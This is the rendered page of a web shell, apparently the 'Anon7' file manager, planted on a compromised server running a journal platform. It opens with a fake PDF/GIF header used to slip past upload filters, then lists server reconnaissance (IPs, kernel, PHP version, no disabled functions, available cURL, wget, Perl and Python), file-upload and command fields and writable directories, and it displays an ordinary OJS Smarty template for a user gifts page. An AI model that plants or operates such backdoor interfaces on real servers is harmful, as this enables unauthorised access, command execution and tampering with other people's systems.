%PDF-1.7 GIF89;
shell
Server IP : 172.66.157.178  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /app/plugins/themes/JetliJournal/templates/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /app/plugins/themes/JetliJournal/templates/user/gifts.tpl
{**
 * templates/user/gifts.tpl
 *
 * Copyright (c) 2003-2012 John Willinsky
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * User gifts management page.
 *}
{strip}
{assign var="pageTitle" value="gifts.myGifts"}
{include file="common/header.tpl"}
{/strip}

{if $acceptGiftSubscriptionPayments}
<h3>{translate key="gifts.subscriptions"}</h3>
<p>{translate key="gifts.subscriptionsDescription"}</p>
<p><a class="action" href="{url page="gifts" op="purchaseGiftSubscription"}">{translate key="gifts.purchaseGiftSubscription"}</a></p>

<br />

<table width="100%" class="info">
	{iterate from=giftSubscriptions item=gift}
		<tr valign="top">
			<td width="65%">{$gift->getGiftName()|escape}</td>
			<td width="15%">
			{assign var="giftStatus" value=$gift->getStatus()}
			{if $giftStatus == $smarty.const.GIFT_STATUS_NOT_REDEEMED}
				<span class="disabled">{translate key="gifts.status.notRedeemed"}</span>
			{elseif $giftStatus == $smarty.const.GIFT_STATUS_REDEEMED}
				<span class="disabled">{translate key="gifts.status.redeemed"}</span>
			{/if}
			</td>
			<td width="20%" align="right">
				{if $giftStatus == $smarty.const.GIFT_STATUS_NOT_REDEEMED}
					<a class="action" href="{url op="redeemGift" path=$gift->getId()}">{translate key="gifts.redeemGift"}</a>
				{elseif $giftStatus == $smarty.const.GIFT_STATUS_REDEEMED}
					{$gift->getDatetimeRedeemed()|escape}
				{else}
					&nbsp;
				{/if}
			</td>
		</tr>
		<tr valign="top">
			<td colspan="3" class="separator">&nbsp;</td>
		</tr>
	{/iterate}
	{if $giftSubscriptions->wasEmpty()}
		<tr valign="top">
			<td colspan="3" class="separator">&nbsp;</td>
		</tr>
		<tr valign="top">
			<td colspan="3" class="nodata">{translate key="gifts.noSubscriptions"}</td>
		</tr>
		<tr valign="top">
			<td colspan="3" class="separator">&nbsp;</td>
		</tr>
	{/if}
</table>
{/if}

{include file="common/footer.tpl"}

Anon7 - 2022
SCDN GOK